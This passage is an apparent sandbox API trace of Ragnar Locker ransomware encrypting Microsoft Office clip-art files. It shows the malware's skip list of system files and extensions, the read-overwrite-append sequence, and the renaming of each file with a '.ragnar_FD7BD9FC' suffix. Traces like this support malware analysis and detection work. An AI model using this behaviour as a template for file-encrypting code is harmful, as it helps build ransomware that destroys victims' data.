office\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.679] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7284) returned 1 [0088.679] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.679] GetProcessHeap () returned 0x580000 [0088.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.679] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.681] VirtualAlloc (lpAddress=0x0, dwSize=0x1c74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.681] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.681] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c74, lpOverlapped=0x0) returned 1 [0088.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c74, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.682] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c74, lpOverlapped=0x0) returned 1 [0088.682] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.682] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.683] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.683] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.683] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.683] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.683] GetProcessHeap () returned 0x580000 [0088.683] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.683] CloseHandle (hObject=0xf4) returned 1 [0088.683] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" [0088.683] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.ragnar_FD7BD9FC" [0088.683] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.684] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1694, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01161_.WMF", cAlternateFileName="")) returned 1 [0088.684] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.684] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01161_.WMF" | out: lpString1="NA01161_.WMF") returned="NA01161_.WMF" [0088.684] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF") returned=".WMF" [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="autorun.inf") returned 1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="boot.ini") returned 1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="bootfont.bin") returned 1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="bootsect.bak") returned 1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="bootmgr") returned 1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="bootmgr.efi") returned 1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="desktop.ini") returned 1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="iconcache.db") returned 1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="ntldr") returned -1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="ntuser.dat") returned -1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="ntuser.ini") returned -1 [0088.684] lstrcmpiW (lpString1="NA01161_.WMF", lpString2="thumbs.db") returned -1 [0088.684] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.684] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.684] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.684] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.684] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.684] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.684] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf")) returned 0x20 [0088.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.685] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5780) returned 1 [0088.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x168b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.686] GetProcessHeap () returned 0x580000 [0088.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.686] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.687] VirtualAlloc (lpAddress=0x0, dwSize=0x1694, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.688] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1694, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1694, lpOverlapped=0x0) returned 1 [0088.689] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.689] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1694, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.689] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1694, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1694, lpOverlapped=0x0) returned 1 [0088.689] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1694, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.689] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.689] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.689] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.689] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.689] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.689] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.689] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.690] GetProcessHeap () returned 0x580000 [0088.690] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.690] CloseHandle (hObject=0xf4) returned 1 [0088.690] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" [0088.690] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.ragnar_FD7BD9FC" [0088.690] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.690] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f80000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92f80000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01164_.WMF", cAlternateFileName="")) returned 1 [0088.690] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.690] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01164_.WMF" | out: lpString1="NA01164_.WMF") returned="NA01164_.WMF" [0088.690] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF") returned=".WMF" [0088.690] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="autorun.inf") returned 1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="boot.ini") returned 1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="bootfont.bin") returned 1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="bootsect.bak") returned 1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="bootmgr") returned 1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="bootmgr.efi") returned 1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="desktop.ini") returned 1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="iconcache.db") returned 1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="ntldr") returned -1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="ntuser.dat") returned -1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="ntuser.ini") returned -1 [0088.691] lstrcmpiW (lpString1="NA01164_.WMF", lpString2="thumbs.db") returned -1 [0088.691] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.691] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.691] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.691] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.691] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.691] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.691] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf")) returned 0x20 [0088.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.692] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2564) returned 1 [0088.692] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.692] GetProcessHeap () returned 0x580000 [0088.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.692] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.693] VirtualAlloc (lpAddress=0x0, dwSize=0xa04, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.693] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa04, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa04, lpOverlapped=0x0) returned 1 [0088.694] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.694] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa04, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.694] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa04, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa04, lpOverlapped=0x0) returned 1 [0088.694] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.694] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.694] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.694] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.694] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.694] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.694] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.694] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.694] GetProcessHeap () returned 0x580000 [0088.694] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.694] CloseHandle (hObject=0xf4) returned 1 [0088.694] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" [0088.695] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.ragnar_FD7BD9FC" [0088.695] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.695] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c6d300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91c6d300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x70f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01293_.WMF", cAlternateFileName="")) returned 1 [0088.695] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.695] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01293_.WMF" | out: lpString1="NA01293_.WMF") returned="NA01293_.WMF" [0088.695] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF") returned=".WMF" [0088.695] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.695] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="autorun.inf") returned 1 [0088.695] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="boot.ini") returned 1 [0088.695] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="bootfont.bin") returned 1 [0088.695] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="bootsect.bak") returned 1 [0088.695] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="bootmgr") returned 1 [0088.695] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="bootmgr.efi") returned 1 [0088.695] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.696] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="desktop.ini") returned 1 [0088.696] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="iconcache.db") returned 1 [0088.696] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="ntldr") returned -1 [0088.696] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="ntuser.dat") returned -1 [0088.696] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.696] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="ntuser.ini") returned -1 [0088.696] lstrcmpiW (lpString1="NA01293_.WMF", lpString2="thumbs.db") returned -1 [0088.696] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.696] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.696] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.696] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.696] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.696] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.696] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf")) returned 0x20 [0088.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.696] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28912) returned 1 [0088.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x70e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.696] GetProcessHeap () returned 0x580000 [0088.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.697] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, 